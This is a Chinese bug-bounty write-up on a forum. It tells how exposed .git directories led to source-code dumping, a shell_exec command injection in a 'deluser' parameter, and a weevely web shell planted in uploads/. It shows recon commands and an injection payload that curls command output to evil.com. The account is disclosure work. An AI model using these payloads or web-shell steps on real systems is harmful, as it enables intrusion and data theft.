社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Git

记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)

HACK学习呀 • 2 年前 • 385 次点击  

记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)

最近我参加了一个私人 bugbounty 计划,我设法通过四台主机上的开放 .git 目录找到了 RCE,为此我收到了创纪录的 10,000 美元,如果不分享它就是犯罪。

其实这个漏洞很简单,只用了半天时间,但大体上有条不紊……

收集容易发现的错误的主要阶段是信息收集,为此我在我的 bash 脚本中使用了一系列工具:

amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt

这不是最详细的信息收集手段,你可以自行决定添加其他工具,但它旨在扫描大量主机

幸运的是, nuclei的输出显示了几个主机上暴露的 .git/ 目录,通过这些目录可以下载源代码

为此,请使用git-dumper工具:

git-dumper http://example.com/.git/ output

我认为这是在代码中寻找严重问题的好机会,并没有急于报告暴露的 .git 所以结果证明在代码中他们使用了对本地 bash 脚本的调用来通过 shell_exec 保存和删除 ftp用户()函数,它采用未经过滤的用户输入,这导致了 RCE 漏洞

为了验证测试请求包,我还必须考虑需要硬编码密钥的简单验证

以及请求的最终结果:

http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]

入口点将是deluser参数

下一步是验证漏洞本身,为此我通过注入shell_exec()向我的服务器发出测试 curl 请求,该请求成功运行

也可以通过将命令发送到 URI 或通过 base64 编码形式的 POST 正文来读取命令的输出,如下所示:

id命令的payload:

someusr; curl https://evil.com/$(id|base64|tr -d “\n”);

所以只剩下上传shell,唯一的障碍是对当前目录没有写权限,所以上传shell到uploads/ (生成shell,我用的是weevely工具)

如果按步骤描述这个过程:

将 shell 保存在本地 txt 中,以便能够通过 curl 传输它,并在自己的主机上启动服务器
用 ngrok 建立隧道
发送一个payload,将我们的 shell 保存在uploads/shell.php
使用weevely连接到上传的 shell

经过几天的帮助解决问题后,该公司奖励了我一笔赏金(附上赏金截图)

在10个案例中,有9个我没有收到任何东西,有不同的公司欺骗了我,这就是耐心和一致性


推荐阅读:


实战 | 记一次SSRF攻击内网的实战案例


实战 | 记两次应急响应小记


干货 | Wordpress网站渗透方法指南


实战 | 记一次CTF题引发的0day挖掘


2023年零基础+进阶系统化白帽黑客学习 | 2月份最新版


实战 | 记一次邮件系统C段引发的SQL手注和内网渗透


点赞,转发,在看


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/152473
 
385 次点击